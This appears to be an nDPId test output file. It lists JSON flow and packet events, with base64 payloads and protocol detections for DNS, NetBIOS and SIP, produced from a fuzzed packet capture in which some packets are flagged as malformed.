+00520{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":446,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":169,"flow_packet_id":1,"flow_first_seen":1120470494127,"flow_last_seen":0,"flow_tot_l4_data_len":58,"flow_min_l4_data_len":58,"flow_max_l4_data_len":58,"flow_avg_l4_data_len":58,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.194.1.255","src_port":137,"dst_port":137,"l4_proto":"udp","ndpi": {"proto":"NetBIOS","breed":"Acceptable","category":"System"}} +00496{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":448,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":170,"flow_packet_id":1,"flow_first_seen":1120470495627,"flow_last_seen":0,"flow_tot_l4_data_len":58,"flow_min_l4_data_len":58,"flow_max_l4_data_len":58,"flow_avg_l4_data_len":58,"midstream":0,"l3_proto":"ip4","src_ip":"170.170.170.170","dst_ip":"170.170.170.170","src_port":43690,"dst_port":43690,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00483{"flow_id":170,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":448,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470495,"pkt_ts_usec":627549,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"pkt":"\/\/\/\/\/\/\/\/AODtNm69CABFAABOe24AAIARSt+qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqo="} +00484{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":449,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":171,"flow_packet_id":1,"flow_first_seen":1120470496048,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2791,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00466{"flow_id":171,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":449,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470496,"pkt_ts_usec":48179,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUADRWAODtAVW9CABFAABIa28AAIARS+LAqAECwKgBAQrnADUANKbygusBAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAghAAE="} +00660{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":449,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":171,"flow_packet_id":1,"flow_first_seen":1120470496048,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2791,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"_sip._udp.sip.cybercity.dk","num_queries":0,"num_answers":0,"reply_code":0,"query_type":2081,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00494{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":450,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":166,"flow_packet_id":1,"flow_first_seen":1120470490782,"flow_last_seen":0,"flow_tot_l4_data_len":493,"flow_min_l4_data_len":493,"flow_max_l4_data_len":493,"flow_avg_l4_data_len":493,"midstream":0,"l3_proto":"ip4","src_ip":"212.242.33.35","dst_ip":"192.37.115.0","src_port":5060,"dst_port":5060,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00511{"flow_event_id":7,"flow_event_name":"not-detected","thread_id":0,"packet_id":450,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":170,"flow_packet_id":1,"flow_first_seen":1120470495627,"flow_last_seen":0,"flow_tot_l4_data_len":58,"flow_min_l4_data_len":58,"flow_max_l4_data_len":58,"flow_avg_l4_data_len":58,"midstream":0,"l3_proto":"ip4","src_ip":"170.170.170.170","dst_ip":"170.170.170.170","src_port":43690,"dst_port":43690,"l4_proto":"udp","ndpi": {"proto":"Unknown","breed":"Unrated"}} +00497{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":450,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":170,"flow_packet_id":1,"flow_first_seen":1120470495627,"flow_last_seen":0,"flow_tot_l4_data_len":58,"flow_min_l4_data_len":58,"flow_max_l4_data_len":58,"flow_avg_l4_data_len":58,"midstream":0,"l3_proto":"ip4","src_ip":"170.170.170.170","dst_ip":"170.170.170.170","src_port":43690,"dst_port":43690,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00487{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":450,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":169,"flow_packet_id":1,"flow_first_seen":1120470494127,"flow_last_seen":0,"flow_tot_l4_data_len":58,"flow_min_l4_data_len":58,"flow_max_l4_data_len":58,"flow_avg_l4_data_len":58,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.194.1.255","src_port":137,"dst_port":137,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00485{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":450,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":165,"flow_packet_id":1,"flow_first_seen":1120470490640,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2790,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00486{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":450,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":168,"flow_packet_id":1,"flow_first_seen":1120470492042,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.53","dst_ip":"192.168.1.1","src_port":2791,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00485{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":450,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":171,"flow_packet_id":1,"flow_first_seen":1120470496048,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2791,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00486{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":450,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":167,"flow_packet_id":1,"flow_first_seen":1120470491041,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.79.2","dst_ip":"192.168.1.1","src_port":2791,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00485{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":450,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":172,"flow_packet_id":1,"flow_first_seen":1120470501450,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.67.1","src_port":2791,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00467{"flow_id":172,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":450,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470501,"pkt_ts_usec":450887,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUADRWAODtAW69CABFAABIa3QAAIARS93AqAECwKhDAQrnADUANKbygusBAAABAAAAAAAABF9zaXAEX3VkcANzaSVzAHliZXJjaaqqqqqqqqqqqqo="} +00664{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":450,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":172,"flow_packet_id":1,"flow_first_seen":1120470501450,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.67.1","src_port":2791,"dst_port":53,"l4_proto":"udp","ndpi": {"flow_risk": {"17":"Malformed packet"},"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"num_queries":0,"num_answers":0,"reply_code":0,"query_type":31074,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00484{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":451,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":173,"flow_packet_id":1,"flow_first_seen":1120470509447,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2792,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00463{"flow_id":173,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":451,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470509,"pkt_ts_usec":447840,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"ADBUADRWAODtAW69CABFAABEeHUAAIARS+DAqAECwKgBAQroADUAMOPqQOwAAAABAAAAAAAAATEBMAEwAzEyNwdpbi1hZGRyBGFycGEAAAwAAQ=="} +00654{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":451,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":173,"flow_packet_id":1,"flow_first_seen":1120470509447,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2792,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"1.0.0.127.in-addr.arpa","num_queries":0,"num_answers":0,"reply_code":0,"query_type":12,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00484{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":452,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":174,"flow_packet_id":1,"flow_first_seen":1120470509449,"flow_last_seen":0,"flow_tot_l4_data_len":71,"flow_min_l4_data_len":71,"flow_max_l4_data_len":71,"flow_avg_l4_data_len":71,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.1","dst_ip":"240.168.1.2","src_port":53,"dst_port":2792,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00493{"flow_id":174,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":452,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470509,"pkt_ts_usec":449334,"pkt_caplen":105,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":105,"pkt_l4_len":71,"pkt":"AODtAW69ADBUADRWCABFAABbAABAAEARtz7AqAEB8KgBAgA1CugAR8ZmQOyAAABkAAEAAAAAATEBMAEwAzEyNwdpbi1hGmRyBGFycGEAAFcAAcAMAAwAAQAAJxAACwlsb2NhbGhvc3QA"} +00694{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":452,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":174,"flow_packet_id":1,"flow_first_seen":1120470509449,"flow_last_seen":0,"flow_tot_l4_data_len":71,"flow_min_l4_data_len":71,"flow_max_l4_data_len":71,"flow_avg_l4_data_len":71,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.1","dst_ip":"240.168.1.2","src_port":53,"dst_port":2792,"l4_proto":"udp","ndpi": {"flow_risk": {"17":"Malformed packet"},"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"1.0.0.127.in-a_dr.arpa","num_queries":100,"num_answers":1,"reply_code":0,"query_type":0,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +01025{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":454,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470509,"pkt_ts_usec":599796,"pkt_caplen":532,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":532,"pkt_l4_len":0,"pkt":"AODtAW69ADBUADRWCABFAEMGAABAADcRiifU8iEjwKgBAhPEE8QB8vKXU0lQLzIuMCA0MDEgbm9uY2UgaGFzIGNoYW5nZWQNCkNhbGwtSUQ6IDU3ODIyMjcyOS00NjY1ZDc3NUA1NzgyMjI3MzItNDY2NWQ3NzINCkNTZXE6IDc5IFJFR0lTVEVSDQpGcm9tOiA8c2lwOjM1MTA0NzIzQHNpcC5jeWJlcmNpdHkuZGs+O3RhZz0zNzBkOGU1DQpUbzogPHNpcDozNTEwNDcyM2pzaXAuY3liZSljaXR5LmRrPjt0YWc9MDAtMDQwODMtMTcwMWI2ZGQtMDUxZjVkYzMxDQpWaWE6IFNJUC8yLjAvVURQIDE5Mi4xNo4uMS4yO3JlY2VpdmVkPTgwLjIzMC4yMTUuNzA7cnBvcnQ9NTA2MDticmFuY2g9ejloRzRiS25wNTc3MjYxOTctNDg0MWM3Y2QxOTIuMTY4LjEuMvQKV1dXLUF1dGhlbnRpY2F0ZTogRGlnZXN0IHJlYWxtPSJzaXAuY3lzZXJjaXR5LmRrIixub25jZT0iMTcwMWI2Y2MxY2JjOTBkMzI4ZmUxZjFhMzFhMmM0ZSIsb3BhcXVlPSIxNzAxYTEzNTFmNzA3OTUiLHN0YWxlPWZhbHNlLGFsZ29yaXRobT1NRDUNCkNvbnRlbnQtTGVuZ3RoOiAwDQoNCg=="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":454,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","l4_data_len":498} +00497{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":455,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":63,"flow_packet_id":3,"flow_first_seen":1120469921898,"flow_last_seen":1120469930905,"flow_tot_l4_data_len":156,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2736,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00497{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":455,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":66,"flow_packet_id":2,"flow_first_seen":1120469938907,"flow_last_seen":1120469938908,"flow_tot_l4_data_len":119,"flow_min_l4_data_len":48,"flow_max_l4_data_len":71,"flow_avg_l4_data_len":59,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2737,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00486{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":455,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":172,"flow_packet_id":1,"flow_first_seen":1120470501450,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.67.1","src_port":2791,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00485{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":455,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":173,"flow_packet_id":1,"flow_first_seen":1120470509447,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2792,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00485{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":455,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":174,"flow_packet_id":1,"flow_first_seen":1120470509449,"flow_last_seen":0,"flow_tot_l4_data_len":71,"flow_min_l4_data_len":71,"flow_max_l4_data_len":71,"flow_avg_l4_data_len":71,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.1","dst_ip":"240.168.1.2","src_port":53,"dst_port":2792,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00497{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":458,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":69,"flow_packet_id":3,"flow_first_seen":1120469940218,"flow_last_seen":1120469948230,"flow_tot_l4_data_len":156,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2738,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00497{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":458,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":71,"flow_packet_id":2,"flow_first_seen":1120469956232,"flow_last_seen":1120469956233,"flow_tot_l4_data_len":119,"flow_min_l4_data_len":48,"flow_max_l4_data_len":71,"flow_avg_l4_data_len":59,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2739,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00497{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":458,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":72,"flow_packet_id":4,"flow_first_seen":1120469956945,"flow_last_seen":1120469965955,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2740,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00486{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":458,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":175,"flow_packet_id":1,"flow_first_seen":1120470588783,"flow_last_seen":0,"flow_tot_l4_data_len":58,"flow_min_l4_data_len":58,"flow_max_l4_data_len":58,"flow_avg_l4_data_len":58,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.112","src_port":137,"dst_port":137,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00484{"flow_id":175,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":458,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470588,"pkt_ts_usec":783128,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"pkt":"\/\/\/\/\/\/\/\/AODtAW69CABFAABOa3oAAO8RStPAqAECwKgBcACJAIkAOltehT0BEAABAAAAAAAAIEVGRURFSkZQRUVFUEVORUJFSkVPQ0FDQUNBQ\/VDQUJNAAAoAAE="} +00520{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":458,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":175,"flow_packet_id":1,"flow_first_seen":1120470588783,"flow_last_seen":0,"flow_tot_l4_data_len":58,"flow_min_l4_data_len":58,"flow_max_l4_data_len":58,"flow_avg_l4_data_len":58,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.112","src_port":137,"dst_port":137,"l4_proto":"udp","ndpi": {"proto":"NetBIOS","breed":"Acceptable","category":"System"}} +00486{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":459,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":176,"flow_packet_id":1,"flow_first_seen":1120470589532,"flow_last_seen":0,"flow_tot_l4_data_len":58,"flow_min_l4_data_len":58,"flow_max_l4_data_len":58,"flow_avg_l4_data_len":58,"midstream":0,"l3_proto":"ip4","src_ip":"192.136.1.2","dst_ip":"192.168.1.255","src_port":137,"dst_port":137,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00483{"flow_id":176,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":459,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470589,"pkt_ts_usec":532574,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"pkt":"\/\/\/\/\/\/\/3AODtAW69CABFAABOa3sAAIARStLAiAECwKgB\/wCJAIkAOltehT0BEAABAAAAAAAAIERGRURFSkZQRUVFUEVORUNFSkVPQ0FDQUNBQ0FDQUJNAAAgAAE="} +00520{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":459,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":176,"flow_packet_id":1,"flow_first_seen":1120470589532,"flow_last_seen":0,"flow_tot_l4_data_len":58,"flow_min_l4_data_len":58,"flow_max_l4_data_len":58,"flow_avg_l4_data_len":58,"midstream":0,"l3_proto":"ip4","src_ip":"192.136.1.2","dst_ip":"192.168.1.255","src_port":137,"dst_port":137,"l4_proto":"udp","ndpi": {"proto":"NetBIOS","breed":"Acceptable","category":"System"}} +00487{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":461,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":175,"flow_packet_id":1,"flow_first_seen":1120470588783,"flow_last_seen":0,"flow_tot_l4_data_len":58,"flow_min_l4_data_len":58,"flow_max_l4_data_len":58,"flow_avg_l4_data_len":58,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.112","src_port":137,"dst_port":137,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00487{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":461,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":176,"flow_packet_id":1,"flow_first_seen":1120470589532,"flow_last_seen":0,"flow_tot_l4_data_len":58,"flow_min_l4_data_len":58,"flow_max_l4_data_len":58,"flow_avg_l4_data_len":58,"midstream":0,"l3_proto":"ip4","src_ip":"192.136.1.2","dst_ip":"192.168.1.255","src_port":137,"dst_port":137,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00497{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":461,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":76,"flow_packet_id":4,"flow_first_seen":1120469985981,"flow_last_seen":1120469994988,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2742,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00497{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":461,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":78,"flow_packet_id":2,"flow_first_seen":1120470002989,"flow_last_seen":1120470002991,"flow_tot_l4_data_len":119,"flow_min_l4_data_len":48,"flow_max_l4_data_len":71,"flow_avg_l4_data_len":59,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2743,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00497{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":461,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":79,"flow_packet_id":5,"flow_first_seen":1120470015072,"flow_last_seen":1120470024079,"flow_tot_l4_data_len":260,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2744,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00443{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":461,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470636,"pkt_ts_usec":50780,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":92,"pkt_l4_len":0,"pkt":"\/\/\/\/\/\/\/\/AODtAW5LCABFAJxOa4EAAIARSszAqAECwKgB\/wCJAIkAOltZhUIBEAABAAAAAAAAIEVGRURFSkZQRUVFUEVORUJFTkVPYkFDQUNBekFDQUJNAAAgAAE="} +00186{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":461,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","l4_data_len":58} +00497{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":464,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":83,"flow_packet_id":3,"flow_first_seen":1120470032178,"flow_last_seen":1120470041184,"flow_tot_l4_data_len":156,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2746,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00491{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":464,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":177,"flow_packet_id":1,"flow_first_seen":1120470657808,"flow_last_seen":0,"flow_tot_l4_data_len":182,"flow_min_l4_data_len":182,"flow_max_l4_data_len":182,"flow_avg_l4_data_len":182,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.41","dst_ip":"192.168.1.255","src_port":138,"dst_port":138,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00651{"flow_id":177,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":464,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470657,"pkt_ts_usec":808784,"pkt_caplen":216,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":216,"pkt_l4_len":182,"pkt":"\/\/\/\/\/\/\/\/AGCXD+5yCABFAADKXL8AAIARWOvAqAEpwKgB\/wCKAIoAtl+xEQKRTcCoASkAigCgAAAgRU1FQkVDREJEQkRCQ0FDQUNBQ0FDQUNBQ0FDQUNBQUEAIEZIRVBGQ0VMRUhGQ0VQRkZGQUNBQ0FDQUNBQ0FDQUJOAP9TTUIlAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEQAABgAAAAAAAAAAAOgDAAAAAAAAAAAGAMEAAwABAAEAAgAXAFxNQUlMU0xPVFxCUk9XU0UACQTYAAAA"} 